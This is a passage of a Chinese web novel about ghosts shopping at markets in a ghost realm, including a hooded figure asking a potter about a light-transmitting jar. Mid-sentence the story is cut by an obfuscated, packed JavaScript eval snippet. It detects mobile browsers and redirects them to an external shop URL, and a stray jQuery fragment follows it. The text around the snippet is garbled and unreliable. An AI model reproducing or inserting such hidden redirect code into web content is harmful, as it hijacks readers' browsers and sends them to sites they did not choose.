【九百岁生辰?】
沈晨一愣,反应过来反掐老哥的脸,【哥,那也是你生辰,而且你为什么要送我透光的陶罐这么稀奇古怪的东西?】
脸被扯出老长一条,沈安痛嚎倒反天罡,口齿不清地控诉:【松手哇!我是你哥!】
【哦。】沈晨依言松手,继续追问:【所以为什么?】
沈安皱巴着揉了揉脸,没好气道:【你不是爱喝茶吗?我给你送几个特别的陶罐装各种茶叶啊,干花啊什么的,哪那么多为什么?】
嘀嘀咕咕,【生性多疑,对老哥也这么不客气,这样不好。】
了解后的沈晨放过沈安,瞥了他一眼,【我听到了,这不是多疑,只是对哥哥的关心,爹娘叫我看住你,防止你搞事情。】
沈安无语,【都几百年了,咱俩都成死鬼了,你还记着呢?】
沈晨理所当然,【可不嘛,是谁在还活着的时候作死说将在外军令有所不授,独自带着一支军闯敌营?又是谁敢和那时的圣上打架,还趁机猛踹了两脚?】
全都靠他捞捞的人,现在当鬼了也没资格说话。
早在沈晨开头第一句时,沈安就缴械投降,举起双手认输,【好好好,又翻旧账,我不说了。】
委屈至极地巴巴眼,一瞄,两瞄,【那还去不去逛?咱们去买礼物?】
同样被哥哥的表情击中心巴的沈晨轻咳一声,【当然,我也买,互送。】
亲兄弟俩不到两秒和好如初,混入集市中开始为他们各自的九百岁大寿挑选礼物,全然忘记最初微服私访的目的。
另一边的朋兄弟俩也不遑多让。
【王亓!你怎么回事!】
方舟舟怒了。
他刚错眼一会儿,这不省心的小子就不见鬼影,害得他在集市上面东找找西喊喊。
集市上的鬼众还时不时看他两眼,有的好心鬼还凑过来询问他是不是找不到爸爸了!
他就告诉他们,他是找不到儿子了!
逆子!
好不容易在一个摊位前找着弯着腰买东西的鬼,方舟舟撸起袖子就冲上去揪住他的后脖领子,就把鬼拉走。
力道之大,差点把王亓拽了个趔趄。
来到一处安静人少的地段,方舟舟就开训了。
【我就转个头的功夫你就不见了!我喊了半条街!】
随即气不打一处来,【岂有此理,我为什么就不能有个大人身体,这少年的外表实在有损我的形象!】
【消消气消消气。】
王亓被他揪着袖子,也不挣扎,反而笑嘻嘻地弯下腰,用另一只手替方舟舟把歪掉的纱巾重新扶正。
随口安慰,【少年四舍五入也是大人,只不过矮了点,幼稚了一点,也没什么大不了的,鬼又不会生长,你还是死了这条心吧。】
方舟舟怒气值拉满,咬着牙拧他腰肉,【不会说话,就当哑巴。】
【嘶!】王亓面容扭曲,忙赔笑,【我不是故意的,刚才看见个有趣的东西,一时就没注意你。】
方舟舟打量他,【什么东西还能让你走不动道?】
王亓从背后伸出手来,掌心里躺着一个小小的布偶娃娃。
沙棉布缝制,灰扑扑的底色上绣着歪歪扭扭的五官,两根线缝的眼睛一只大一只小,嘴巴用红线绣出一道弧,似笑非笑,十分诡异。
方舟舟一把抓过来,翻来覆去地看了两遍,眉头皱死紧,他极度怀疑,【这不会是那个什么诅咒的那什么娃娃吧?】
【呸呸呸,咋可能啊,太不吉利了!】
王亓一听立马夺回来抱紧,抚摸娃娃头顶的炸毛,【多可爱啊这小东西,你不要我可就自己留着了。】
【谁说我不要?】
方舟舟把布偶往怀里一揣,嘴硬了不到半秒,又忍不住掏出来再看一眼,嘴角翘了起来。
最后严肃地宣布:【下不为例。】
【下不为例。】
王亓举起三根手指,做发誓状。
方舟舟满意地点点头,从怀里掏出一样东西递给王亓,【给你的。】
王亓接过来一看,是一枚小小的哨子。只有拇指大小,做成了一只胖墩墩的沙鼠模样,尾巴卷成哨口。
【还挺像你。】
方舟舟不满,【什么像我,明明是像你,我就按照你的样子买的!】
王亓怎么看怎么觉得像方舟舟。
把陶哨揣进怀里,拍了拍胸口,【行吧像我。不过你刚才说按我的样子买,你把我记成了一只老鼠?】
方舟舟噎了一下,据理力争:【沙鼠不是老鼠!沙鼠是沙鼠!】
【那不还是鼠?】
【你再说一句我就把它要回来。】
王亓立刻捂住胸口,退后半步,一脸戒备:【送出去的东西泼出去的水,哪有往回要的道理?】
【切,赶紧走,我还没逛够呢!】
方舟舟懒得再与其争辩,两个时辰可短得很,没时间浪费在这上面。
两鬼离开这个小角落,再次走进热闹的大街。
离开不到一分钟,原地升起一道鬼影。
一身沙黄袍子,完美融入西城的,宽大的兜帽和防风面罩,这点奇装异服在西城算不得什么,常见得路过的鬼不会多看一眼。
暂且叫他沙鬼。
沙鬼拉了拉帽沿,进入了集市。
没有在任何一个摊位前停留,绕过围观耍把式的人,在第三环和第四环交界处的一个小巷口停下了脚步。
巷子里挂着一块褪了色的粗布幡,幡上用炭笔歪歪扭扭写了三个字:
三耳陶。
巷子前,那个方才沈安蹲过的沙陶摊还在原地。
摊主老鬼依旧坐在小马扎上,慢悠悠地擦拭手里的陶罐,和方才招呼沈安时一模一样。
觑见沙黄袍子的衣角,手顿了顿,继续擦罐子,【想要什么自己看。】
沙鬼来到摊子前蹲下,仔细观察每一个陶器,隔着面罩传出呕哑嘲哳的声音,【可以定制吗?我想要个可以透光的陶罐。】
老鬼奇了,和方才那山羊胡傻小子说的话一模一样。
【透光的陶罐?你确定?】
放下手里的湿布,老鬼重复了一遍。
得到肯定的答复,往后靠了靠,硌在小马扎的椅背上,发出轻微的嘎吱声。
【今儿这是怎么了,个个要这什么莫名其妙的透光陶罐,我三耳陶虽然名气大,陶器做得也好,可透光陶器却从未听过。】
沙鬼道:【还有鬼来问透光陶?】
老鬼诚实地点点头,【半
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582616|204259||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个时辰前,我也纳闷呢。】
看着沙鬼的脸,被面罩遮得严严实实,只露出一双颜色极淡的眼睛,在阳光下几乎看不清瞳孔的颜色。
【那鬼穿了件灰扑扑的袍子,腰间挂了把剑,蹲我摊前翻了半天。】
老鬼说着笑了一声,【我还以为他是来找茬的,问完就走了,什么都没买,放下碗就走了。】
【放下碗?】
沙鬼的手指停在摊位上那一排粗陶碗的边缘,指尖正好搭在最靠外的陶碗上。
那只碗的釉色比其他几只略深一些,手指轻轻划过碗沿,【这只?】
老鬼看了一眼他手边那只碗,想了想,摇头,【不是,是最里面那只。他拿起来翻来覆去看了好几遍,我都以为他要买了,结果就是看看。】
记忆犹新。
沙鬼的手从靠外的碗上移开,越过中间一排沙陶碟子,从摊角处拿起最里面的那只碗。
手指扣住碗壁两侧,掌心悬空,完全没有碰到碗的内壁。
另一只手摊开,一枚下等鬼珠出现,放在摊位上。
【这只陶碗,我要了。】
*
南城
水乡之地,风景宜鬼,见不到南城主,最近的任务指标也已完成,朱玲自然不会干等。
从客栈出来,站在门口的石阶上,深深地吸了一口带着水汽的空气。
享受生活也很重要。
可惜只有她一鬼的游玩总是少些什么,朱玲决定先当个探索者,等以后母亲也来了鬼域,就当导游,带母亲一起再玩一遍。
迈下石阶,南城鬼民出门从不走路,要么坐船,要么直接下水。
鬼在水中如履平地,朱玲入乡随俗,也懒得叫船,直接一脚踩进水里,鞋底触到水面的瞬间,稳稳地托住身形。
船娘摇着橹从她身边经过,冲她笑着点了点头,竹篙在水面上一撑,划过。
朱玲跟随着各路船只,顺流而走。
却不曾想,一抬头,在石拱桥上看见了熟人。
穿着一身粉白襦裙,笑嘻嘻地拿着扇子朝自己招手,大声呼喊:
【玲玲!】
比她先一步看见她。
朱玲腾身而起,直接飞到桥上落地,【小白!】
萧小白热情地回应,兴冲冲抱住了朱玲,【好久不见,甚是想念,听说你任务完成了,正好想找你喝茶,所以我就过来找你了,我是不是超厉害,一下就猜到了你在哪。】
朱玲挑了挑眉,这个“正好”她是不信的。
但她没有戳穿,只是点了点头,【好啊,去哪儿?】
萧小白用扇子指了指水巷深处,然后沿着水路向前走去。
朱玲跟在她身后半步,南城的水道窄,两个人并肩走就会挡住对面的船。
两鬼穿过一道极窄的水巷,巷子窄得只能容一艘小舟单向通行,两旁的墙壁上爬满了水痕。
出了水巷,眼前豁然开朗。
一小片圆形的水域,四周被石墙环绕,水面上零星漂着几盏莲花灯,在水波中明明灭灭。
水域中央停着一艘画舫,舫上挂着牌:
甜滋滋奶茶记。
朱玲好奇地观望,见其轻车熟路,笑了起来,【果然,吃喝玩乐最在行的还得是小白你啊!】